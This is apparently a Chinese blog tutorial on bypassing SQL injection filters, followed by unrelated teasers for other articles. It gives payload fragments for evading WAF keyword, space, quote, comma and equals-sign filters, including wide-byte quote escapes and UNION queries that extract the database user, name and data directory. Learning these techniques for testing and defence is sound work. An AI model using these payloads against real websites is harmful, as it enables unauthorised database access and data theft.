【Web安全】sql注入绕过技法

sql注入绕过技法

1. 注释符号绕过

原理:SQL注释符号(如--, /* */)可以用来忽略查询的一部分,特别是在注入点之后的部分。这对于绕过需要闭合的查询或移除查询余下部分的情况特别有用。

-- 注释内容
# 注释内容
/*注释内容*/
;

2. 内联注释绕过

原理:在SQL关键词中插入内联注释(如/**/),可以改变关键词的外观,绕过基于文本匹配的过滤器。

SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查

3. 大小写绕过

原理:SQL是不区分大小写的,所以可以混合使用大小写字母来绕过对特定关键字(如SELECT, FROM)的过滤。

select 换成 SeleCT

4. 双写绕过

过滤器可能尝试移除某些关键字,利用重复的关键字可能绕过对于它们的单次出现

selselecctect
oOrr

5. 编码绕过

  • URL全编码

对关键字进行两次url全编码:

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 
  • ASCII绕过

使用ASCII码表示字符,这样可以绕过对普通字符集的过滤。

使用CHAR(65)代替A,在某些情况下可以绕过对直接字符A的过滤。
  • 十六进制绕过

使用十六进制值来表示字符串,可以绕过对普通字符串的过滤。

使用0x414243代替字符串'ABC'。
  • Unicode编码绕过

使用Unicode编码来替代字符,以绕过对特定字符或字符串的过滤。

使用\u0041代替A。

6. 大于小于号绕过

在进行sql盲注的时候一般使用大于小于号来判断ascii的大小

  • greatest(n1,n2,n3…)和least(n1,n2,n3…)返回最大值和最小值
...where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
  • in关键字
where id=1 and substr(database(),1,1) in ('c');
  • between a and b(不包含b)
where id=1 and substr(database(),1,1) between 'a' and 'd';

7. 空格绕过

如果空格被过滤,可以使用其他字符或编码来代替空格,如注释、制表符等

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

8. 逻辑运算符绕过

OR、AND、XOR、NOT被过滤的话,可以采取以下方法:

or = ||
and = &&
xor = | 或者 ^
not = !

9. 等号绕过

如果等号=被过滤,可以尝试使用其他的操作符或逻辑来达成类似的效果。

1.假如要=1,那我们可以>0 and <2
2.<>等价于!=,所以在前面再加一个!,Select * from cms_users where !(username <> "admin");
3.like, username = 'admin'
4.username LIKE 'a%'。这将匹配任何以'a'开头的用户名
5.MySQL中使用 REGEXP 操作符来进行正则表达式匹配,Select * from cms_users where username REGEXP "admin";

10. 单引号绕过

1.where table_name="users" 换成 where table_name=0x7573657273
2.宽字节,用%df吃掉\,id=-1%df%27union select 1,user(),3--+
3.可能产生二次注入

11. 逗号绕过

我们可能会使用substr(),substring(),mid()等函数,里面会有逗号

  • 对于substr()和mid()这两个方法可以使用from for 的方式来解决
 select substr(database() from 1 for 1)='c';
  • join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
  • like关键字
select ascii(mid(user(),1,1))=80
select user() like 'r%'

12. 关键函数绕过

1.sleep() -->benchmark() 指定次数表达式,造成延迟
2.使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。
3.SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2');
4.使用SELECT @@user; 替代SELECT user();
5.ord()->ascii()
6.SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;

以上就是目前常见的绕过方法,本节参考文章,这篇文章后面写的很详细值得研究

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/169433.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis运维(二十一)redis 的扩展应用 lua(三)

一 redis 的扩展应用 lua redis加载lua脚本文件 ① 调试lua脚本 redis-cli 通过管道 --pipe 快速导入数据到redis中 ② 预加载方式 1、错误方式 2、正确方式 "案例讲解" ③ 一次性加载 执行命令&#xff1a; redis-cli -a 密码 --eval Lua脚本路径 key …

希尔伯特变换-matlab仿真

希尔伯特变换&#xff08;hilbert transform&#xff09;简介 在信号处理中我们常见的有傅里叶变换&#xff0c;用来分析频域信息&#xff0c;还有拉普拉斯变换和z变换&#xff0c;用于系统分析系统响应。短时傅里叶分析和小波分析用于时频分析。希尔伯特变换似乎听到的比较少…

jQuery_04 jQuery选择器应用

jQuery中的选择器 1.基本选择器 1.1 id $("#id值") id名称 1.2 class $(".class值") class名称 1.3 标签选择器 $("标签名字") 标签名称 1.4 所有选择器 $("*") 所有标签 1.5 组合选择器 …

Selenium技巧大揭秘:动态数据、分页和Cookie的获取利器

背景&#xff1a; ​ 昨天我们讲了讲关于seleium的一些基础操作&#xff0c;今天讲讲如何将seleium和爬虫结合起来&#xff0c;可以使用selenium获取网页的动态加载数据&#xff0c;可以使用selenium获得cookie&#xff0c;这两个是比较常用的。我将一一展开。 实战案例&…

基于浣熊算法优化概率神经网络PNN的分类预测 - 附代码

基于浣熊算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于浣熊算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于浣熊优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

网络运维与网络安全 学习笔记2023.11.24

网络运维与网络安全 学习笔记 第二十五天 今日目标 DHCP中继代理、三层交换机DHCP、子网划分的原理、子网划分的应用 项目需求分析、技术方案选型、网络拓扑绘制 基础交换网络设计、内网优化、连接外网服务器 DHCP中继代理 DHCP中继概述 场景&#xff1a; DHCP客户端与DH…

Java LCR 089 打家劫舍

题目链接&#xff1a;打家劫舍 定义一个数组 dp&#xff0c;其中 dp[i] 表示从第 0 间房子到第 i 间房子&#xff08;包括第 i 间&#xff09;能够偷窃到的最高金额。 对于第 i 间房子有两种选择&#xff0c;偷或不偷&#xff1a; 偷就不能偷第 i - 1 间房子&#xff1a; dp[i]…

中职网安-Linux操作系统渗透测-Server2130(环境加qq)

B-9:Linux操作系统渗透测 任务环境说明:  服务器场景:Server2130  服务器场景操作系统:Linux(关闭链接) 1.通过本地PC中渗透测试平台Kali对靶机场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中Apache服务对应的版本信息字符串作为Flag值提交; 2.…

中间件渗透测试-Server2131(解析+环境)

B-10&#xff1a;中间件渗透测试 需要环境的加qq 任务环境说明&#xff1a; 服务器场景&#xff1a;Server2131&#xff08;关闭链接&#xff09; 服务器场景操作系统&#xff1a;Linux Flag值格式&#xff1a;Flag&#xff5b;Xxxx123&#xff5d;&#xff0c;括…

【Netty专题】Netty调优及网络编程中一些问题补充(面向面试学习)

目录 前言阅读对象阅读导航笔记正文一、如何选择序列化框架1.1 基本介绍1.2 在网络编程中如何选择序列化框架1.3 常用Java序列化框架比较 二、Netty调优2.1 CONNECT_TIMEOUT_MILLIS&#xff1a;客户端连接时间2.2 SO_BACKLOG&#xff1a;最大同时连接数2.3 TCP_NODELAY&#xf…

rfc4301- IP 安全架构

1. 引言 1.1. 文档内容摘要 本文档规定了符合IPsec标准的系统的基本架构。它描述了如何为IP层的流量提供一组安全服务&#xff0c;同时适用于IPv4 [Pos81a] 和 IPv6 [DH98] 环境。本文档描述了实现IPsec的系统的要求&#xff0c;这些系统的基本元素以及如何将这些元素结合起来…

【数据结构】树与二叉树(廿四):树搜索给定结点的父亲(算法FindFather)

文章目录 5.3.1 树的存储结构5. 左儿子右兄弟链接结构 5.3.2 获取结点的算法1. 获取大儿子、大兄弟结点2. 搜索给定结点的父亲a. 算法FindFatherb. 算法解析c. 代码实现 3. 代码整合 5.3.1 树的存储结构 5. 左儿子右兄弟链接结构 【数据结构】树与二叉树&#xff08;十九&…

没搞懂二维差分是什么怎么办???

摸鱼的时候画的&#xff0c;根据公式反推 一维差分倒是懂了 a[10]{1,2,6,9,11,12,17,21,32,67}; c[10]{1,1,4,3,2,1,5,4,11,35}; 现要把[3,7]的值都增加3 c[10]{1,1,7,3,2,1,5,1,11,35}; 要查询的时候再用for循环相加 结论&#xff1a;成立且适用于多次修改 不知道为什么这个…

抖音生态融合:开发与抖音平台对接的票务小程序

为了更好地服务用户需求&#xff0c;将票务服务与抖音平台结合&#xff0c;成为了一个创新的方向。通过开发票务小程序&#xff0c;用户可以在抖音平台上直接获取相关活动的票务信息&#xff0c;完成购票、预订等操作&#xff0c;实现了线上线下的有机连接。 一、开发过程 1…

h5小游戏-盖楼游戏

盖楼游戏 一个基于JavaScrtipt、Html5 的盖楼游戏 效果预览 点我下载源代码 Game Rule 游戏规则 以下为默认游戏规则&#xff0c;也可参照下节自定义游戏参数 每局游戏生命值为3&#xff0c;掉落一块楼层生命值减1&#xff0c;掉落3块后游戏结束&#xff0c;单局游戏无时间限…

springboot+vue基本微信小程序的旅游社系统

项目介绍 现今市面上有关于旅游信息管理的微信小程序还是比较少的&#xff0c;所以本课题想对如今这么多的旅游景区做一个收集和分类。这样可以给身边喜欢旅游的朋友更好地推荐分享适合去旅行的地方。 前端采用HTML架构&#xff0c;遵循HTMLss JavaScript的开发方式&#xff0…

持续集成部署-k8s-配置与存储-配置管理:HostPath 的使用

持续集成部署-k8s-配置与存储-配置管理&#xff1a;HostPath 的使用 1. 简介2. 创建一个 Pod 使用 HostPath 的方式挂载目录 1. 简介 在 Kubernetes 中&#xff0c;HostPath 是一种用于挂载宿主机上文件或目录到容器中的卷类型。使用 HostPath 卷类型&#xff0c;可以让你在容…

isbn api开放接口

接口地址&#xff1a;http://openapi.daohe168.com.cn/api/library/isbn/query?isbn9787115618085&appKeyd7c6c07a0a04ba4e65921e2f90726384 响应结果&#xff1a; { "success": true, "code": "200", "message": …

[element-ui] el-dialog 中的内容没有预先加载,因此无法获得内部元素的ref 的解决方案

问题描述 在没有进行任何操作的时候&#xff0c;使用 this.$refs.xxxx 无法获取el-dialog中的内部元素&#xff0c;这个问题会导致很多bug. 官方解释&#xff0c;在open事件回调中进行&#xff0c;但是open()是弹窗打开时候的会调&#xff0c;有可能在此处获取的时候&#xff…

03 _ 系统设计目标(一):如何提升系统性能?

提到互联网系统设计&#xff0c;可能听到最多的词就是“三高”&#xff0c;也就是“高并发”“高性能”“高可用”&#xff0c;它们是互联网系统架构设计永恒的主题。这里将整体探讨下高并发系统设计的目标&#xff0c;然后在此基础上&#xff0c;探讨下&#xff1a;如何提升系…